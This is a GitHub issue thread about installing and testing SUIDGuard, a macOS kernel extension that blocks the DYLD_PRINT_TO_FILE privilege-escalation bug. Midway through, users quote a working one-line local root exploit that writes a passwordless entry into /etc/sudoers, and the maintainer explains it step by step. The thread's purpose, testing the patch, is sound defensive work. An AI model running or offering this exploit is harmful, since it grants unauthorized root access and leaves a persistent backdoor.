[Documentation] How can I install this fix?

[aseedig]

There was an installation description, but now it is gone. Wonder why is that? However I assume it wasn't working as described, because I went through it step by step and it wasn't working,

Any update, please?

[Archosian]

You need to go to the releases tab and download the .kext folder from there. Alternatively you can compile from source, for which you need to use the XCode IDE, but this can be skipped if you aren't modifying the files.

This is a Kernel Extension, and needs to be placed in specific location. This website describes it quite well.

[aseedig]

@Archosian: Yes, that is exactly what I did. I have tried 2 different things: 1.) Copy the .kext file via finder - Got an error that the package was't installed correctly. However I went on with the steps chmod and chown. Then I tried to remove the cache files, but the system said there are no such files. So I thought I reboot now. After reboot I have checked with kextstat if the extension was running, but nothing.

I removed the extension and rebooted again.

2.) I copied the SUIDGuard.kext via Terminal. This time I didn't saw the error about that the extension isn't correctly installed and a went on with the chmod and chown. After that the kextcache still was;t there. So I rebooted.

After the reboot the extension still doesn't show in the kextstats

Any idea? I loaded the SUIDGuard.xcodeproj into my Xcode and built it as described. Then I went on with the steps as described in the website how to install third party extensions,

Thanks for your help.

Axel

[spbriggs]

I'm having the exact same problem having followed the exact same steps.

I did manage to manually load the kext with kextutil and confirmed that the sample exploit no longer worked. But when I rebooted, the kext wasn't loaded and the exploit worked again.

Sent from my iPhone

[jbane]

It seems to be due to a lack of signing:

$ kextutil SUIDGuard.kext Diagnostics for /System/Library/Extensions/SUIDGuard.kext: Code Signing Failure: not code signed ERROR: invalid signature for com.sektioneins.SUIDGuard, will not load

UPDATE: This was because I built it myself. I was able to load the one from releases as it's signed, but it doesn't appear to load automatically on boot for me either.

[aseedig]

@jbane: Yep... Same error here. How do we get around this? Can we sign this or do we have to force it around without signing? Not too familiar with the signing bit of this kind of coding :-(

[Archosian]

@aseedig The signed version is obtained from release, check the release tab in the main page. Make sure you clear out the previous version completely including any cached files. _{I haven't actually tried keeping the installation on for a reboot, as I don't judge it necessary. Maybe nobody ever got it working ;)}

[aseedig]

Tried that... Congrats.. It works now. After reboot the SUIDGuard is active.

Thanks a lot for the great help.

Axel

[jbane]

@aseedig What did you do to get it to load after reboot?

[aseedig]

@jbane: Yes. After reboot it loaded for me. I did a reboot via sudo reboot

[rwsnyder]

Ok, the reason I redacted my instructions this morning was because I ran into that same error with Yosemite kernel extension handling, and that is why I asked about the signing in the other issue post. I will now resubmit the directions for those who are perhaps less familiar with the command line, but are still savvy enough to care about patching 0-days.

1. Download the Release version of SUIDGuard. Do not github clone it, do not download the source code. It is a .tar.bz2 file.
2. Unpack the file, doubleclick it.
3. Open the terminal app located in /Applications/Utitlities/
4. Type this into the terminal first: cd
5. Drag the file to the terminal, and the hit delete to the first /. It should read: "cd /Users/username/Downloads/", or wherever it is that you downloaded the file to.

6. Now we change permissions and ownership, install, and initialize:

   sudo chmod -R 755 SUIDGuard.kext

   sudo chown -R root:wheel SUIDGuard.kext

   sudo cp -rf SUIDGuard.kext /System/Library/Extensions/

   cd /System/Library/Extensions/

   sudo kextutil SUIDGuard.kext

7. Now reboot.

Does this seem right to everyone?

[enykeev]

Nope, doesn't persist through reboot with this guide. I was thinking it might be related to the file having quarantine xattr, but nope, wgeting the file anew doesn't help either.

[aseedig]

Here are my observations: I have done the install as rwsnyder has described. Not sure why it was started after my former reboot, but as soon as I rebooted via GUI (Shutdown then new start) SUIDGuard wasn't started. I checked with kextstat and the extension was't started. Next I tried the kextutil SUIDGuard and got an error that I have to run this as admin. I did a sudo kextutil SUIDGuard in the /System/Library/Extension folder and it started the extension. After a reboot from the terminal the extension wasn't started as it was the last time I rebooted that way.

Seems this extension has it's own mind :-)

Sorry... Worked once, but now it doesn't and I cannot explain why.

Axel

[joncohen]

I can confirm the same behavior.

[rammjet]

Same problem here too. I made a utility to install the kext and posted the utility on a Mac forum where I hang out. Many people are having the problem where the kext does not load on reboot.

[joncohen]

Care to direct me to the forum in question? Or the title of the post? Thank you,

[rammjet]

@joncohen The forum is private. But what are you really looking for? The install utility? I can provide that. It has been fixed to work around the load at boot problem by creating a LaunchDaemon to load the kext during boot. Not the right way, but it works.

Double-click to install. Double-click to uninstall. The code is in the "script" file in the Resources folder. It requires an admin account to install the kext to the System folder.

http://www38.zippyshare.com/v/4QJZHCFC/file.html

[jgowdy]

I am experiencing the same issue where the kext loads, but doesn't load on next reboot.

[dskfh]

For your convenience, I made a launch script to load the kext at startup.

You should probably change the com.example in the file name and in the file to your domain, in reverse notation and copy the file to /Library/LaunchDaemons and sudo chown root:wheel the file.

Reboot and verify with kextfind -loaded | grep SUIDGuard.

NOTE: The script assumes that you have put the kext into /Library/Extensions. If you put it into /System/Library/Extensions (which you probably should not, according to Apple), either adjust the path in the launch script, or move the file to /Library/Extensions – /System/Library/Extensions is intended for unsigned and Apple kexts.

[spbriggs]

Thanks @temokles but unfortunately that still doesn't load at boot for me.

[dskfh]

@spbriggs does it load when you manually load it using sudo kextload ? My script assumes using the signed kext, so if you've self-compiled it, put the kext in /System/Library/Extensions, or it won't load.

[spbriggs]

@temokles yes I can load it manually. It's the pre-compiled, signed version from the releases tab.

[dskfh]

@spbriggs hm... strange... have you looked into the system log for errors?

[spbriggs]

@temokles yes, no sign of anything at all happening :-S

Simon Briggs 07590 529730

On 24 July 2015 at 09:06, temokles notifications@github.com wrote:

@spbriggs https://github.com/spbriggs hm... strange... have you looked into the system log for errors?

— Reply to this email directly or view it on GitHub https://github.com/sektioneins/SUIDGuard/issues/1#issuecomment-124417123 .

[dskfh]

@spbriggs maybe try sudo launchctl start com.example.SUIDGuard ; echo $? (should print exit code 0) and check with sudo launchctl list | grep SUIDGuard that the daemon was loaded. Other than that, reverify that all ownerships and permissions are correct (e.g. not world-writable), and that all files and folders in the kext are owned by root / group wheel.

[spbriggs]

I'm getting exit code 3 when I run launchctl from command line. I've verified ownerships and permission on /Library/Extensions/SUIDGuard.kext and on your launchctl script.

On 24 July 2015 at 09:31, temokles notifications@github.com wrote:

@spbriggs https://github.com/spbriggs maybe try sudo launchctl start com.example.SUIDGuard ; echo $? (should print exit code 0) and check with sudo launchctl list | grep SUIDGuard that the daemon was loaded. Other than that, reverify that all ownerships and permissions are correct (e.g. not world-writable), and that all files and folders in the kext are owned by root / group wheel.

— Reply to this email directly or view it on GitHub https://github.com/sektioneins/SUIDGuard/issues/1#issuecomment-124440918 .

[stefanesser]

Could you guys please try the SUIDGuardNG.pkg that I just put into the release?

It converts the KEXT to an IOKit based kext that is loaded on boot automatically.

[spbriggs]

Works for me @stefanesser . Thank you!

[aseedig]

Maybe a dumb question, but does the package include the SUIDGuard or is this just a kind of a load helper? I have installed the package, but had removed the SUIDGuard before that installation.

[aseedig]

OK, never mind. It was a stupid question. Anyway just to confirm the order of installation which made it work for me, to all who still hack around:

1. Download the Release version of SUIDGuard. Do not github clone it, do not download the source code. It is a .tar.bz2 file.
2. Unpack the file, doubleclick it.
3. Open the terminal app located in /Applications/Utitlities/
4. Type this into the terminal first: cd /Users/username/Downloads/ (or wherever it is that you downloaded the file to)
5. sudo chmod -R 755 SUIDGuard.kext
6. sudo chown -R root:wheel SUIDGuard.kext
7. sudo cp -rf SUIDGuard.kext /System/Library/Extensions/
8. cd /System/Library/Extensions/
9. sudo kextutil SUIDGuard.kext
10. Now we check if the SUIDGuard extension has started: kextstat | grep SUID If you get a line like the following, it means the extension is started:
    58 0 0xffffff7f80a3e000 0x3000 0x3000 com.sektioneins.driver.SUIDGuardNG (1) <7 4 3 2 1>
11. Now install the additional package 'SUIDGuardNG.pkg' Stefan Esser has released today.
12. Now reboot
13. To double check repeat step 10. and you should be good.

This worked for me and I double tested it by removing the SUIDGuard and re-installed the whole lot as described. After a reboot the extension has been loaded and is working.

A big THANK YOU @stefanesser and the group for all the hard work and the testing.

Axel

[rammjet]

You don’t need BOTH. Remove the old one. Start on step 11.

On Jul 24, 2015, at 7:31 AM, Axel notifications@github.com wrote:

OK, never mind. It was a stupid question. Anyway just to confirm the order of installation which made it work for me, to all who still hack around:

Download the Release version of SUIDGuard. Do not github clone it, do not download the source code. It is a .tar.bz2 file.

Unpack the file, doubleclick it.

Open the terminal app located in /Applications/Utitlities/ Type this into the terminal first: cd /Users/username/Downloads/ (or wherever it is that you downloaded the file to)

sudo chmod -R 755 SUIDGuard.kext

sudo chown -R root:wheel SUIDGuard.kext

sudo cp -rf SUIDGuard.kext /System/Library/Extensions/

cd /System/Library/Extensions/

sudo kextutil SUIDGuard.kext

Now we check if the SUIDGuard extension has started: kextstat | grep SUID If you get a line like the following, it means the extension is started:

58 0 0xffffff7f80a3e000 0x3000 0x3000 com.sektioneins.driver.SUIDGuardNG (1) <7 4 3 2 1>

Now install the additional package 'SUIDGuardNG.pkg' Stefan Esser has released today.

Now reboot

To double check repeat step 10. and you should be good.

This worked for me and I double tested it by removing the SUIDGuard and re-installed the whole lot as described. After a reboot the extension has been loaded and is working.

A big THANK YOU @stefanesser https://github.com/stefanesser and the group for all the hard work and the testing.

Axel

— Reply to this email directly or view it on GitHub https://github.com/sektioneins/SUIDGuard/issues/1#issuecomment-124491953.

[joncohen]

I feel like I'm missing something. I installed the package and confirmed that it applies after reboot:

$ kextstat | grep SUID
   59    0 0xffffff7f80a3e000 0x3000     0x3000     com.sektioneins.driver.SUIDGuardNG (1) <7 4 3 2 1>

However, if I execute the following:

$ echo 'echo "$(whoami) ALL=(ALL) NOPASSWD:ALL" >&3' | DYLD_PRINT_TO_FILE=/etc/sudoers newgrp; sudo -s

I'm still passed into a root enabled bash prompt where I can create / edit root content.

bash-3.2# touch /test.txt
bash-3.2# ls -al /
total 70
drwxr-xr-x    32 root  wheel   1156 Jul 24 09:30 .
drwxr-xr-x    32 root  wheel   1156 Jul 24 09:30 ..
-rw-rw-r--@    1 root  admin   8196 Jul  7 11:25 .DS_Store
d--x--x--x     8 root  wheel    272 Jul 24 09:28 .DocumentRevisions-V100
drwx------     5 root  wheel    170 Jun 29 13:07 .Spotlight-V100
d-wx-wx-wt@    2 root  wheel     68 Jun 29 14:31 .Trashes
srwxrwxrwx     1 root  wheel      0 Jul 24 09:29 .dbfseventsd
----------     1 root  admin      0 Sep  9  2014 .file
drwx------  1847 root  wheel  62798 Jul 24 09:27 .fseventsd
drwxr-xr-x@    2 root  wheel     68 Sep  9  2014 .vol
drwxrwxr-x+   86 root  admin   2924 Jul 22 10:35 Applications
drwxr-xr-x+   65 root  wheel   2210 Jul 21 14:59 Library
drwxr-xr-x@    2 root  wheel     68 Sep  9  2014 Network
drwxr-xr-x+    4 root  wheel    136 Jun 29 13:41 System
drwxr-xr-x     7 root  admin    238 Jun 29 14:33 Users
drwxrwxrwt@    8 root  admin    272 Jul 24 09:29 Volumes
drwxr-xr-x@   39 root  wheel   1326 Jun 29 13:41 bin
drwxrwxr-t@    2 root  admin     68 Sep  9  2014 cores
dr-xr-xr-x     3 root  wheel   4615 Jul 24 09:28 dev
lrwxr-xr-x@    1 root  wheel     11 Jun 29 13:33 etc -> private/etc
dr-xr-xr-x     2 root  wheel      1 Jul 24 09:28 home
-rw-r--r--@    1 root  wheel    313 Oct  1  2014 installer.failurerequests
dr-xr-xr-x     2 root  wheel      1 Jul 24 09:28 net
drwxr-xr-x@    6 root  wheel    204 Jun 29 13:43 private
drwxr-xr-x@   59 root  wheel   2006 Jun 29 13:42 sbin
-rw-r--r--     1 root  wheel      0 Jul 24 09:30 test.txt

Is this expected functionality?

[aseedig]

@joncohen: When I try your command, the system asks me for the admin password. Have you tried this without being root/admin?

Just wondering, because if you use sudo you are root. Or did I misunderstood your post?

[joncohen]

Updated info to clear up the issue.

I am a standard user on my box

• here is my full output:

Last login: Fri Jul 24 09:30:53 on ttys001
C02PQ02PFY6F:~ joncohen$ touch /test-standard.txt
touch: /test-standard.txt: Permission denied
C02PQ02PFY6F:~ joncohen$ echo 'echo "$(whoami) ALL=(ALL) NOPASSWD:ALL" >&3' | DYLD_PRINT_TO_FILE=/etc/sudoers newgrp; sudo -s
bash: line 1: 3: Bad file descriptor
bash-3.2# touch /test-elevated.txt
bash-3.2# ls -al /
total 69
drwxr-xr-x    32 root  wheel   1156 Jul 24 11:15 .
drwxr-xr-x    32 root  wheel   1156 Jul 24 11:15 ..
-rw-rw-r--@    1 root  admin   8196 Jul  7 11:25 .DS_Store
d--x--x--x     8 root  wheel    272 Jul 24 09:28 .DocumentRevisions-V100
drwx------     5 root  wheel    170 Jun 29 13:07 .Spotlight-V100
d-wx-wx-wt@    2 root  wheel     68 Jun 29 14:31 .Trashes
srwxrwxrwx     1 root  wheel      0 Jul 24 09:29 .dbfseventsd
----------     1 root  admin      0 Sep  9  2014 .file
drwx------  1855 root  wheel  63070 Jul 24 11:12 .fseventsd
drwxr-xr-x@    2 root  wheel     68 Sep  9  2014 .vol
drwxrwxr-x+   86 root  admin   2924 Jul 22 10:35 Applications
drwxr-xr-x+   65 root  wheel   2210 Jul 21 14:59 Library
drwxr-xr-x@    2 root  wheel     68 Sep  9  2014 Network
drwxr-xr-x+    4 root  wheel    136 Jun 29 13:41 System
drwxr-xr-x     7 root  admin    238 Jun 29 14:33 Users
drwxrwxrwt@    7 root  admin    238 Jul 24 10:24 Volumes
drwxr-xr-x@   39 root  wheel   1326 Jun 29 13:41 bin
drwxr-xr-x     3 root  admin    102 Aug 16  2013 brehm
drwxrwxr-t@    2 root  admin     68 Sep  9  2014 cores
dr-xr-xr-x     3 root  wheel   4557 Jul 24 09:28 dev
lrwxr-xr-x@    1 root  wheel     11 Jun 29 13:33 etc -> private/etc
dr-xr-xr-x     2 root  wheel      1 Jul 24 10:17 home
-rw-r--r--@    1 root  wheel    313 Oct  1  2014 installer.failurerequests
dr-xr-xr-x     2 root  wheel      1 Jul 24 10:17 net
drwxr-xr-x@    6 root  wheel    204 Jun 29 13:43 private
drwxr-xr-x@   59 root  wheel   2006 Jun 29 13:42 sbin
-rw-r--r--     1 root  wheel      0 Jul 24 11:15 test-elevated.txt
lrwxr-xr-x@    1 root  wheel     11 Jun 29 13:35 tmp -> private/tmp
drwxr-xr-x@   11 root  wheel    374 Jun 29 14:30 usr
lrwxr-xr-x@    1 root  wheel     11 Jun 29 13:36 var -> private/var

Prior to the exploit, I'm unable to write to / with my account.

C02PQ02PFY6F:~ joncohen$ echo 'echo "$(whoami) ALL=(ALL) NOPASSWD:ALL" >&3' | DYLD_PRINT_TO_FILE=/etc/sudoers newgrp; sudo -s

[stefanesser]

Most people are not aware that once they execute the command that you used you permanently backdoored your system.

Your /etc/sudoers file now contains the line "username ALL=(ALL) NOPASSWD:ALL at the very end as long you do not remove that you have permanently backdoored your system.

To see if the attack is blocked you guys can do cat /var/log/system.log SUIDGuard will output something like the following if it stopped an attack

kernel[0]: SUIDGuard: found and neutralized DYLD_ environment variable for SUID/SGID root binary

[valpackett]

"backdoored" is not the right word, but yeah, don't leave yourself with passwordless sudo on a desktop

[stefanesser]

Well from what @joncohen posted it is visible that the attack is actually blocked. => bash: line 1: 3: Bad file descriptor but the fact that he ends up with a rootshell without password is very likely because he already ran the exploit and permanently "backdoored" his /etc/sudoers

[joncohen]

Ah, thank you for that explanation and for the work in getting this out to all of us.

[aseedig]

I have a question: When I run the exploit, my computer asks me for a password. I assume this is because of the sudo command in the exploit. I assume further an attacker doesn't have a password to my system.

Now if I enter the password, SUIDGuard blocks the attack as expected, but I still end up in a root shell.

My sudoers file looks like this:

# sudoers file.
#
# This file MUST be edited with the 'visudo' command as root.
# Failure to use 'visudo' may result in syntax or file permission errors
# that prevent sudo from running.
#
# See the sudoers man page for the details on how to write a sudoers file.
#

# Host alias specification

# User alias specification

# Cmnd alias specification

# Defaults specification
Defaults        env_reset
Defaults        env_keep += "BLOCKSIZE"
Defaults        env_keep += "COLORFGBG COLORTERM"
Defaults        env_keep += "__CF_USER_TEXT_ENCODING"
Defaults        env_keep += "CHARSET LANG LANGUAGE LC_ALL LC_COLLATE LC_CTYPE"
Defaults        env_keep += "LC_MESSAGES LC_MONETARY LC_NUMERIC LC_TIME"
Defaults        env_keep += "LINES COLUMNS"
Defaults        env_keep += "LSCOLORS"
Defaults        env_keep += "SSH_AUTH_SOCK"
Defaults        env_keep += "TZ"
Defaults        env_keep += "DISPLAY XAUTHORIZATION XAUTHORITY"
Defaults        env_keep += "EDITOR VISUAL"
Defaults        env_keep += "HOME MAIL"

# Runas alias specification

# User privilege specification
root    ALL=(ALL) ALL
%admin  ALL=(ALL) ALL

# Uncomment to allow people in group wheel to run all commands
# %wheel        ALL=(ALL) ALL

# Same thing without a password
# %wheel        ALL=(ALL) NOPASSWD: ALL

# Samples
# %users  ALL=/sbin/mount /cdrom,/sbin/umount /cdrom
# %users  localhost=/sbin/shutdown -h now

\ END OF FILE **

The only 'NOPASSWORD:ALL' is commented out (#%wheel ALL=(ALL) NOPASSWORD: ALL)

Is my assumption correct, that as soon as you enter the password the exploit will end up in a root shell?

I had the impression the attack cannot take place as long as the attacker has no password. Or am I misunderstanding this concept?

Axel

[stefanesser]

Let me explain this:

echo 'echo "$(whoami) ALL=(ALL) NOPASSWD:ALL" >&3' | DYLD_PRINT_TO_FILE=/etc/sudoers newgrp; sudo -s

1. DYLD_PRINT_TO_FILE=/etc/sudoers newgrp if vulnerable this will start a new shell with your own user permissions but because it is a SUID binary the file descriptor 3 will be bound to a writable /etc/sudoers file (with root permissions)
2. echo 'echo "$(whoami) ALL=(ALL) NOPASSWD:ALL" >&3' | This pipes the output of the outter echo command into the new shell that runs with your USER permissions
3. echo "$(whoami) ALL=(ALL) NOPASSWD:ALL" >&3 The inner echo will be executed with your user permissions inside the shell that has file-descriptor 3 open. The command basically writes "username ALL=(ALL) NOPASSWD:ALL" into /etc/sudoers (because it echoes into file descriptor 3)
4. sudo -s Once this is all finished the sudo command is executed. If the exploit was successful it will not ask you for a password, because of the new line in /etc/sudoers and simply give you a root shell If the exploit failed then sudo will do what sudo does: it will ask you for your password and then start a shell as root.

So the fact that it asks you for your password means the exploit failed. But of course after entering your password you are allowed to use sudo and spawn a root shell.

[aseedig]

@stefanesser, thank you for the detailed explanation. That is what I expected and what I thought ;-) I just wanted to make sure I got it right.

Thank you for your hard work.

[0culus]

For the people having problems getting the permissions right, you should do a recursive copy as root (sudo works fine) since a *.kext is a package. This will set the permissions and owner:group on all the contents of the package correctly and you won't have to monkey round with chmod. At least, it did for me.

sudo cp -R $HOME/path/to/SUIDGuard.kext /System/Library/Extensions

Then, either reboot or

sudo kextload SUIDGuard.kext

which should load the kext without the need to reboot.

[peterlewis]

If kextload doesn't persist through a reboot then you may wish to launch at startup using a LaunchDaemon. This is what I have done and works wonderfully.

[0culus]

@peterlewis , good idea. Could you maybe write down how to do that? Some might not be aware that you can.

Also, I should add. The recursive copy as I described above will set the owner and permissions to root:wheel 0700 instead of 0755. But it seems to work just fine, so I did not change it.

[spalburg]

can't find the tar.z2 file mentioned where do i look for it ?

[0culus]

@spalburg go to the main repo and check out the "Release" tab at the top.